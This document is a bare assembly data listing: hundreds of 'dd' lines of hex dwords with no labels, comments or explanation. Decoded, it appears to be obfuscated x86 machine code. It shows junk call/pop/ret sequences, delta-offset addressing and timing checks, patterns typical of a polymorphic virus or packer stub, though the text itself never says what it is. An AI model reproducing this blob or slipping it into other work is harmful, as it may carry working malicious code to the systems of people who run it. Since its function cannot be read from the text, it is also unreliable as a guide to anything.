dd 0B142D8E5h, 106C761h, 8B000000h, 0E21E4D9Dh, 0E4BD8305h
dd 505E24Bh, 0F9850Fh, 10E80000h, 0DB000000h, 3AFD267Bh
dd 0C3B96297h, 736A0238h, 0E95A3F00h, 5, 881128FEh, 0DC8A5BF1h
dd 405B58Bh, 0DB305E2h, 64B9h, 80F08A00h, 840FE83Eh, 15h
dd 0C88B6660h, 61DA8B66h, 1AE9h, 85896000h, 5E2195Dh, 57E8061h
dd 70840FC2h, 0BB000000h, 593E2C56h, 46D1BF0Fh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 66C35141h, 65752683h
dd 0FC53321Ch
dd 1071958Bh, 0F4905E2h, 0FFFF9E85h, 0C6DA81FFh, 0E965D5A5h
dd 5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
dd 34C35141h, 0A225DA21h, 68C943D7h, 0E585012Dh, 8905E20Ch
dd 0E232F9B5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 1926CFF4h, 30917E89h
dd 0C59D89F5h, 5805E215h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 63C35646h, 45FAD526h, 7699589h, 0BD8305E2h
dd 5E2113Dh, 3F840F00h, 89000001h, 0E21B3185h, 9D8B6005h
dd 5E213A1h, 3933EB81h, 85C605A6h, 5E20A49h, 9E68FC54h
dd 51E4F554h, 840F5250h, 0
dd 5250310Fh, 585A310Fh, 815B585Ah, 0EA6A2434h, 6A1BBBh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 3364E1C3h, 0AA51537Dh, 0B5950318h, 0E905E22Ch, 13h
dd 69C1C76Ah, 0CB929381h, 99DD5ABEh, 0D7F63480h, 0FF094577h
dd 0E216A1B5h, 0D88B5105h, 19958B5Ah, 8D05E21Ch, 0E57A6185h
dd 0CE905h, 0BDAC0000h, 0E46FE55Fh, 2BCC5063h, 870FFAE6h
dd 17h, 12E9h, 0B1E3C00h, 0C8A63E6Ch, 0D9C003E7h, 0F21421A6h
dd 0FFE04731h, 6AD8B2D0h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0CC078CE5h
dd 29BD89D0h, 0F05E225h, 288h, 0FFA9B700h, 0E2113DB5h
dd 12E95705h, 80000000h, 0C55A1688h, 688E87E0h, 4599C878h
dd 0FDF12EFBh, 0D0FF5AABh, 0FE8h, 7A760F00h, 95160DA9h
dd 53361E41h, 994F8B20h, 68D0Fh, 0BD890000h, 5E2164Dh
dd 8D89615Bh, 5E21611h, 85C7D08Bh, 5E20D79h, 1, 1851BD89h
dd 666005E2h, 9D8BDA8Bh, 5E21115h, 4E8h, 8000h, 0DE800h
dd 53E20000h, 0CFD25E2Ch, 5C1E6734h, 8BF95D65h, 0BA505BD7h
dd 1EE716BCh, 424448Bh, 0BE957h, 28E40000h, 0AEB50687h
dd 439360FAh, 8B5B25h, 8268BA66h, 4244489h, 8958D18Bh
dd 0E20F9585h, 0E9FF6A05h, 12h, 0AC7CD2h, 3B42CA7Eh, 47851A47h
dd 5F1A21F4h, 0BB667978h, 95FFF139h, 5E20B41h, 1F6DBD01h
dd 6A6105E2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 692EC351h, 0C4A06480h, 0BF0F1BAEh
dd 7E9D1h, 0E5930000h, 4997A71Bh, 0B9B650DBh, 66240489h
dd 8B09EBBBh, 0E2245585h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 958B576Eh
dd 5E20FEDh, 7E95Bh, 14A60000h, 73A2A999h, 0FC00B58h, 6184h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 0C92D4686h, 0ACBDD3A2h, 0DABF0FF3h, 10B195FFh
dd 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0E9B34DC3h, 0Ch, 8A8BBDC0h, 47405356h, 4A9B64C9h
dd 1DED950Bh, 85C705E2h, 5E21BD1h, 1, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 16C35545h, 890C6AD5h, 0E21905BDh
dd 0B1BD8305h, 5E213h, 25840Fh, 89600000h, 0E23105B5h
dd 0F7816605h, 0FF61FF17h, 0E230FD95h, 0DE905h, 860B0000h
dd 5CCA18A7h, 89EDD51h, 83534D85h, 0E20061BDh, 840F0005h
dd 12h, 0C61958Bh, 95FF05E2h, 5E20AC5h, 0EA8166F5h, 0BD831CD9h
dd 5E2266Dh, 42840F00h, 1000000h, 0E21A818Dh, 9E905h, 0CDD20000h
dd 0A0E7CF1Bh, 83C3C1E1h, 0E216F1BDh, 850F0005h, 21h, 0BE8h
dd 36E26D00h, 9975820Fh, 0BDEFDD68h, 5B616052h, 4995FF5Ah
dd 0B05E205h, 0E20A519Dh, 8DBD8305h, 5E20Ah, 59840Fh, 81570000h
dd 80E4AEEAh, 85815A63h, 5E2315Dh, 4003h, 4A84BA66h, 1DD58581h
dd 400305E2h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 65FD33C3h, 6E95660h, 1E000000h
dd 0AE9AC166h, 9D895F91h, 5E20735h, 11958B61h, 0F05E210h
dd 2D8D8931h, 8D05E230h, 0E25BD38Dh, 619D8B05h, 8905E208h
dd 8D89F501h, 5E21019h, 6AC233h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 0B4CCABC3h, 2AF3FE7Dh
dd 0F08AA123h, 6A044189h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0CE48C352h, 80818263h
dd 235049D3h, 0E2250D9Dh, 310F5B05h, 46D38166h, 0E18D8DB6h
dd 6A05E25Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 0FCC5C351h, 68C0F38h, 0B000000h
dd 0E222D195h, 398D0105h, 8B05E20Ah, 6A0189DFh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 9582C356h, 0FBB3BB66h, 1001B509h, 0C23305E2h, 16ED958Bh
dd 418905E2h, 5B39BA04h, 0BD834BE1h, 5E21431h, 37840F00h
dd 0BA000000h, 3D8A9E9h, 73195FFh, 6A05E2h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 88E67C3h
dd 0EA80B215h, 3820F00h, 80000000h, 0BD830BD7h, 5E21CE5h
dd 95850F01h, 0F000000h, 188Ah, 11E95200h, 0D1000000h
dd 3838A95Fh, 40540A1h, 4842F9A8h, 0A9C22AD0h, 72E95Ah
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 8CD936C3h, 41ADBB66h, 1FA59589h, 0B58B05E2h
dd 5E25D7Eh, 6C7h, 0B58B0000h, 5E25B1Eh, 6C7h, 6ACF0000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 5093C356h, 77204F1Ch, 7DE24A94h, 1D09958Bh
dd 9D8B05E2h, 5E21125h, 1BD1BD83h, 0F0005E2h, 18A84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 898D890Eh, 8305E217h, 0E20E6DBDh, 850F0105h, 142h, 68D0Fh
dd 958B0000h, 5E21761h, 4BD88D8Bh, 9D8905E2h, 5E21415h
dd 1C6CCB3h, 89958B00h, 6005E204h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 23C35141h, 0E2DE5E80h, 89484709h
dd 0E224D59Dh, 4E805h, 800000h, 8E0F0000h, 0
dd 0C830F50h, 50000000h, 0F616052h, 0E2BB6631h, 8B585A24h
dd 53042444h, 5A616052h, 52008B5Bh, 2444895Bh, 10E904h
dd 8DBF0000h, 3139E38Dh, 0B27665Ch, 536F2A47h, 6A58508Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0F4D5C353h, 6AFF6A3Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 26F7C357h
dd 95FFBB71h, 5E20B41h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 38C35141h, 3810F78h, 80000000h, 958904D3h
dd 5E2302Dh, 2840F61h, 8B000000h, 195FFDAh, 6005E217h
dd 41BD8950h, 5E05E201h, 0FD9D8961h, 8B05E21Bh, 0E24BD88Dh
dd 88D0F05h, 0F000000h, 285h, 0FED98B00h, 7444BA01h, 0BD835738h
dd 5E224F5h, 0C850F01h, 0F000000h, 68Ah, 55958B00h, 8B05E230h
dd 83F0B2C0h, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
dd 8B53501Ah, 5D858BC0h, 8905E231h, 0E2315D85h, 0FA9D8D05h
dd 0FF05E4B2h, 83585BD3h, 0E21805BDh, 18740005h, 858B5350h
dd 5E2315Dh, 315D8589h, 9D8D05E2h, 5E4AFE9h, 585BD3FFh
dd 810F5360h, 0
dd 0C7F3815Ah, 616C7C1Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0E7C35545h, 0D98B2D11h, 15FD958Bh, 0C08B05E2h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 41C35040h
dd 0C8E699DBh, 2A719D8Bh, 0BD8305E2h, 5E21BD1h, 3F850F00h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0DFEC353h, 6D734DA5h, 0A8D650ADh
dd 1EF59589h, 46BA05E2h, 832ED3AEh, 0E21C15BDh, 840F0005h
dd 2, 0BD83D48Ah, 5E21BD1h, 24840F00h, 0F000000h, 58Bh
dd 0DB816600h, 8B66617Ah, 61BD83D1h, 5E210h, 9840Fh, 56F50000h
dd 1CE99D8Bh, 835B05E2h, 0E21BD1BDh, 840F0005h, 19h, 2451958Bh
dd 0BD8305E2h, 5E21061h, 6840F00h, 2B000000h, 0E2214D95h
dd 0D1BD8305h, 5E21Bh, 1D840Fh, 958B0000h, 5E20FD5h, 1F49BD83h
dd 0F0005E2h, 0A84h, 0AD41BB00h, 0E9BB6B52h, 83702D3Fh
dd 0E21BD1BDh, 840F0005h, 23h, 83D38B66h, 0E21B35BDh, 840F0005h
dd 13h, 0C358D89h, 0EB8105E2h, 59E63495h, 1FA195FFh, 8BFC05E2h
dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 0F88E6D9h, 0BD83D2B7h, 5E21EA9h, 83097500h
dd 0E21805BDh, 1A740005h, 0C08B5350h, 1DD5858Bh, 858905E2h
dd 5E21DD5h, 0B3619D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h
dd 50187400h, 0D5858B53h, 8905E21Dh, 0E21DD585h, 29D8D05h
dd 0FF05E4B0h, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 0AF3C353h, 80F72AFFh
dd 0BA6678D2h, 7E9C5ADh, 22000000h, 9378A99Fh, 0C08B8B9Bh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 17C35747h
dd 0EC267866h, 831BB755h, 0E21BD1BDh, 840F0005h, 5C4h
dd 11699D8Bh, 0BD8305E2h, 5E21D29h, 19840F02h, 89000000h
dd 0E21FB585h, 0E5BD8305h, 105E21Ch, 6850Fh, 0BD890000h
dd 5E22C2Dh, 30E9BD83h, 0F0005E2h, 11D84h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 169385AEh, 5283EFC3h, 605AD38Bh, 16499D8Bh, 8D8B05E2h
dd 5E24BD8h, 865958Bh, 1FE05E2h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 0D1C35646h, 0DA81B675h, 56A37D1Eh
dd 0E8D7B70Fh, 4, 80h, 0AE8h, 5095EF00h, 7789906Eh, 502ECDB7h
dd 0F616052h, 13E931h, 0E24F0000h, 0BA5EC4D0h, 0FA2D31D8h
dd 26968E6Dh, 7CAD41E2h, 5B585A91h, 7ABF6050h, 66215FB0h
dd 61855EB8h, 424448Bh, 8E8h, 0C1338800h, 0C868EDDh, 0DE84Ch
dd 1E340000h, 0A8ED6DB3h, 2E1A1648h, 0F64F9E2h, 81h, 8B5A5B00h
dd 0BAE4BA00h, 4489443Dh, 0D08B0424h, 66FF6A58h, 0E4D8DB81h
dd 0B4195FFh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 882568C3h, 0B11D9C05h, 0B7654AA9h
dd 6EBA66F2h, 0BB666116h, 6A60B7FFh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A154C356h
dd 87342F44h, 61BD2951h, 5A05E215h, 4BD88D8Bh, 958B05E2h
dd 5E2314Dh, 0F28101FEh, 9587FEDh, 0D90C1968h, 81F58ADAh
dd 0F4672404h, 6A2526h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0C459F0C3h, 8057F551h, 6A5A8EC2h
dd 0DABF0FFFh, 0B4195FFh, 9D8B05E2h, 5E20C05h, 57006A61h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 8D83D46Dh, 0E231DDBDh, 3FEB8105h, 8B12B83Fh, 6A1C4Fh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 448599C3h, 6A016Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 6B5058C3h, 0E03C7FE3h, 0AD59589h
dd 0BA9105E2h, 47EF103Ah, 8D0F6050h, 4, 1C66BB66h, 0AE85250h
dd 0EC000000h, 98BC1602h, 2111F3FBh, 310F580Dh, 9161585Ah
dd 0A6BAEA81h, 858D424Eh, 5E54157h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 34C35747h, 0FC6040BAh, 13E82Fh
dd 0CC40000h, 9F2E818Ah, 81F10A85h, 93CF64Bh, 0E49E6129h
dd 858B60A0h, 5E21DEDh, 4639EDBAh, 315A6152h, 0E214B5BDh
dd 6AD0FF05h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 1E38C356h, 34356E2Fh, 6A204F8Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 9BC0C351h, 18F0Fh, 6AF80000h, 6E903h, 0A5680000h
dd 0DB39DDBAh, 0BB6691h, 8B60502Ch, 0E95250F0h, 14h, 0C24AF45Ah
dd 0D97DB189h, 0BACE61F9h, 0B9F4DFA8h, 0C8DF8C1Dh, 13E9310Fh
dd 0E2000000h, 0C9CB43B9h, 0E4896FC0h, 0AF6FB615h, 0ABE0F926h
dd 585AE7F8h, 6A9161h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 522592C3h, 0E95A46B6h, 0Fh, 0B7D8200Ah
dd 0EBF4A124h, 0CBBCD7C5h, 8182BBB0h, 0C270FDE3h, 57858D7Dh
dd 6A05E541h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 0AB74C353h, 0F025605Ch, 2B62EF1Ch
dd 0E2049995h, 8DD0FF05h, 0E231DDBDh, 68D0F05h, 81000000h
dd 0CBF5ECEAh, 1C4F8B05h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0B7C35343h, 8759D8Bh, 16A05E2h, 17759D89h
dd 0F9105E2h, 28Dh, 50D98B00h, 8191DA8Ah, 0E75627EBh, 57858D6Eh
dd 0F05E541h, 0D0FFD8B7h, 7E9h, 524A6400h, 0F0FC3D55h
dd 0F204F8Bh, 582h, 0F3816600h, 36A9FB9h, 0F91D88Bh, 484h
dd 0A5BB6600h, 4ABA50BBh, 912E5E8Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 9CC35545h, 34FF5483h, 57858DD7h
dd 0FF05E541h, 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0B021EA1Bh, 0EFFFB531h
dd 0DF8B66CFh, 4BD88D8Bh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 8C44B0C3h, 108220D4h
dd 10E9F96Ah, 21000000h, 0EBDFA567h, 2FA62FC6h, 0D581D386h
dd 293671BBh, 0E20AC18Dh, 2301FE05h, 0E2089D9Dh, 0D8858B05h
dd 6A05E24Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 4D77C356h, 0ADE6A43Dh, 2A4BA5DBh
dd 816600FEh, 6A6417F2h, 10E901h, 0EBB00000h, 9D3DBCD1h
dd 0C3CB6DF9h, 0ECA1EC12h, 4E8125Eh, 0FF000000h, 0E9FFFF9Fh
dd 7, 70799984h, 50D7DCDEh, 5E9h, 9D48B500h, 448BAB96h
dd 0D38B0424h, 6E9008Bh, 0A4000000h, 0FBBF098Ah, 244489F8h
dd 7BBB5004h, 5A0D91E1h, 0AAEB8158h, 8D4F0686h, 0E5416185h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 2990CE57h, 6DBD3152h, 5A05E200h, 958BD0FFh
dd 5E22D69h, 1C15BD83h, 0F0005E2h, 0C584h, 19958B00h, 6605E21Ah
dd 835E58BAh, 0E200B9BDh, 850F0105h, 0AEh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 60C35343h, 95032A53h
dd 0BD01D78Ch, 5E214FDh, 416B8D8Dh, 8B6605E5h, 6A036AD7h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 6685C350h, 0BD29D18Bh, 5E20CD9h, 6A016Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 7760BEC3h, 1CDB8154h, 0FF25614Fh, 458589D1h, 6A05E206h
dd 4E28101h, 6A74107Bh, 15BA6601h, 29D1FF4Bh, 0E217458Dh
dd 5CF5E805h, 0CA80FA79h, 3860F38h, 66000000h, 206AD08Bh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1BC35747h
dd 0E7BF25E9h, 0FF6AFC90h, 0AE8h, 6A967A00h, 5ED03CCFh
dd 602E24EEh, 30518D8Bh, 9D8B05E2h, 5E22679h, 9D8B5B61h
dd 5E22BF9h, 0B4195FFh, 0D38105E2h, 43E055A4h, 0B8h, 4BA6600h
dd 0FC00BBAh, 5F84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 0A4C98731h, 8BA821F2h
dd 0E2239D9Dh, 2DBD8305h, 5E21Eh, 2A840Fh, 5E80000h, 2A000000h
dd 0AC91C282h, 232D950Bh, 8B5B05E2h, 0E213CD9Dh, 3195FF05h
dd 6005E22Dh, 861BEB9h, 0DB5895Bh, 6105E204h, 1F35858Bh
dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 86D175C3h, 3D4CB49Dh, 11E9h, 4FA70300h, 0CCA67A85h
dd 69C78221h, 8BE0191Fh, 0C6BE8Fh, 0E3E38100h, 586A30F8h
dd 6E24BA66h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 99FEC357h, 666BE5E3h
dd 0AD0FE774h, 5E9h, 0E4738E00h, 0C1F6E927h, 53840F04h
dd 8B000000h, 4CE9DAh, 89570000h, 0E2142DBDh, 0B58B5B05h
dd 5E2234Dh, 68B0Fh, 9D8B0000h, 5E20499h, 1180C681h, 8B660000h
dd 6C7DEh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 597DC353h, 635C1C8Fh, 15E4B48h
dd 0E20D219Dh, 9D953105h, 8305E219h, 840F00F8h, 0B4Ch
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F6C35545h
dd 0AE041309h, 8B35FF5Bh, 0F01F883h, 1CC85h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 12D040E6h, 0F98A3C2Bh, 0B8h, 0A1958B00h, 0B05E218h
dd 16840FC0h, 8B000001h, 1F883D9h, 12C840Fh, 81660000h
dd 83EEFDD2h, 840F03F8h, 8Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 93C35545h, 0D1561823h, 0C02B80E1h
dd 2C658589h, 0BD8D05E2h, 5B7974h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 74C35040h, 668117F6h, 0E86200BAh
dd 0Eh, 4A818E1Eh, 359783CDh, 0E63F7C33h, 5AFCBCC6h, 6AE7FFh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0EDB8F2C3h, 0CB816605h, 1B8EBFAh, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 9E16C351h, 0F5DEEDB3h, 74BD8DF9h, 0E8005B79h, 0Fh, 0C5188872h
dd 0EEA4C5A6h, 2C273152h, 0F59F1B2h, 0FF5BD2B7h, 52006AE7h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0BE7388D3h, 209A1BB2h, 8B6651C8h, 64BD8DD3h, 8B05E242h
dd 0E20AF59Dh, 15858905h, 0E905E22Bh, 2A9h, 0CF59D01h
dd 0BB6605E2h, 85C726E6h, 5E24C33h, 5, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0DBC35545h, 0BFE38111h, 8939AAEDh
dd 0E2090DBDh, 5B805h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 8589E9C3h, 5E2041Dh
dd 8E2E9h, 2F88300h, 0F5850Fh, 0BA660000h, 0B82658h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 41F0C357h, 0FC00BB3h, 0B584h, 0A98D2900h
dd 8305E221h, 840F01F8h, 0FFFFFF5Ah, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 5BC35747h, 5F8C9D4Eh, 0EC887FAh
dd 0AD958B55h, 6605E208h, 9036DB81h, 29D38166h, 3F88302h
dd 0FE8C840Fh, 880FFFFFh, 6, 2CE98529h, 2FBA05E2h, 2B4F6D6Fh
dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 31BC2554h, 6212D169h, 7974BD8Dh, 6A005Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 4BFA1BC3h, 6651FB91h, 0FF5ADF8Bh, 0EB8166E7h, 0BD8D4A24h
dd 5E2445Ch, 81EB59BBh, 143E970h, 83F90000h, 850F03F8h
dd 39h, 8DDBBF0Fh, 0E245F0BDh, 0D5B52905h, 0E905E22Bh
dd 125h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 0EEC35242h, 815FC523h, 57D44DDAh, 5F88312h, 14850Fh
dd 5E90000h, 0D4000000h, 1F2C464h, 0D10A62BAh, 785E97Fh
dd 0F8830000h, 30850F06h, 0BA000000h, 22F33B41h, 47E8BD8Dh
dd 9E805E2h, 80000000h, 6BF0AAF9h, 0FCDCBD43h, 0BBE95Ah
dd 870F0000h, 5, 6BDB8166h, 0F19D33E5h, 8305E209h, 850F07F8h
dd 2Ch, 8D78D780h, 0E22D8DBDh, 0BE905h, 855A0000h, 86A4DD87h
dd 8E44FACAh, 13AE9CFh, 8B600000h, 0E2180D95h, 0C58D8905h
dd 6105E22Ch, 0F0AF883h, 6C85h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 6DE5D533h
dd 0E2BDA13Fh, 0E0BD8DA6h, 6A05E249h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A7A2C357h
dd 7068B674h, 0E8BA7357h, 0E93581D0h, 15h, 0C8A0Fh, 840F0000h
dd 6, 0BA19D0Bh, 0BF0F05E2h, 953157D0h, 5E22445h, 3C6F53B9h
dd 51006A53h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 0CBD45533h, 0A3C25428h, 3F832Fh, 71840Fh
dd 85890000h, 5E230CDh, 8D890F30h, 5E208E1h, 226D958Bh
dd 0C9D105E2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 0D0C35545h, 0C0A895F7h, 66AEFA54h, 6A47D18Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 8C2DC357h, 0C960904Fh, 0E925D280h, 0FFFFFF91h, 1CC58D89h
dd 44BA05E2h, 5F4442D6h, 2445958Bh, 0BD2905E2h, 5E23265h
dd 4BDCBD89h, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 1E1056C3h, 0C151AB7h, 8B075985h
dd 0E2235D9Dh, 0B98D8D05h, 0F05E21Ah, 0B5FFDABFh, 5E20405h
dd 8BDE8B66h, 0E20C159Dh, 0E6858D05h, 5005E4ACh, 524EBD8Dh
dd 8D8D05E2h, 5E26FACh, 831ABCB8h, 30CF2B54h, 47C8D007h
dd 8DF87549h, 0E26F3CB5h, 0C48D8D05h, 2B05E26Fh, 33A4F3CFh
dd 0B8C9h, 0C00B0000h, 0BD834674h, 5E21E2Dh, 0FF067400h
dd 0E22D3195h, 0DCB58B05h, 8D05E24Bh
dd 0E4ACE685h, 8DD0FF05h, 0E241E785h, 0C7D0FF05h, 0E20F7D85h
dd 105h, 65A58B00h, 8B05E20Dh, 0E205C5B5h, 51AD8B05h, 3305E231h
dd 0CC2C0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 0D1C35747h, 2733A64Bh, 0C2816653h, 835A47D5h, 0E215D9BDh
dd 840F0005h, 49h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 0DEC35242h, 9DB58907h, 0B705E21Fh, 6595FFC0h
dd 6A05E20Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0F4ACC356h, 0EDBD83B4h, 5E21Fh
dd 172850Fh, 0BD890000h, 5E22D55h, 0B9BD83h, 0F0105E2h
dd 15F85h, 0F5852900h, 8305E223h, 0E20781BDh, 840F0005h
dd 14Ch, 86C38166h, 2FBD83D4h, 5E24Ch, 13A840Fh, 95030000h
dd 5E22CC9h, 28B0Fh, 0F88A0000h, 0ACE6858Dh, 6A05E4h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 38DDB3C3h, 6E9h, 32A1BA00h, 0FFCC626h, 8C0FD6BFh, 0Ah
dd 5E9h, 0F4C6EE00h, 0B58B64D6h, 5E24BDCh, 65CA8166h, 7DBD89EDh
dd 0FF05E20Ah, 5E9D0h, 82E40000h, 809CFF2Ch, 85C632CAh
dd 5E20A49h, 5E854h, 0B5090000h, 663792C7h, 0B67BEA81h
dd 6EB5605Ah, 4E6861F5h, 81B71272h, 4CA62404h, 8589483Ch
dd 5E21735h, 262DB5FFh, 6A05E2h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 870D80C3h, 0EEC28166h
dd 0AE91Bh, 9CB90000h, 0CBCAD171h, 8412CB16h, 39ED858Dh
dd 958B05E2h, 5E22D11h, 9D8BD0FFh, 5E20E31h, 958B006Ah
dd 5E21FA5h, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0BB0C03C3h, 0DB6DC96Eh, 0B19D2965h
dd 0FF05E232h, 97F380D0h, 641B5FFh, 0B50905E2h, 5E21E71h
dd 40595FFh, 0B58905E2h, 5E21E71h, 4BDCB58Bh, 0C3F905E2h
dd 1F35B58Bh, 9D8B05E2h, 5E21DD9h, 840FF60Bh, 15h, 68B0Fh
dd 9D8B0000h, 5E21DF9h, 890006C6h, 0E215D1B5h, 0E4858905h
dd 6605E24Bh, 83D91BBBh, 840F00F8h, 350h, 319D9501h, 605705E2h
dd 1EC59D8Bh, 852305E2h, 5E22D89h, 0B85B61h, 0B7000000h
dd 0F8839Dh, 0CF840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 6D960C3h, 9DFC98A7h
dd 17C59D8Bh, 850F05E2h, 3, 83D2BF0Fh, 850F02F8h, 59h
dd 858D11B2h, 5E2425Fh, 0DE8B6656h, 9292D5Ah, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0DCC28FC3h, 0E9281C1Bh, 6, 72B95345h, 958B2035h, 5E21AA1h
dd 1EBA6650h, 24048946h, 1C4D9D8Bh, 8BC305E2h, 0E2310195h
dd 0B805h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
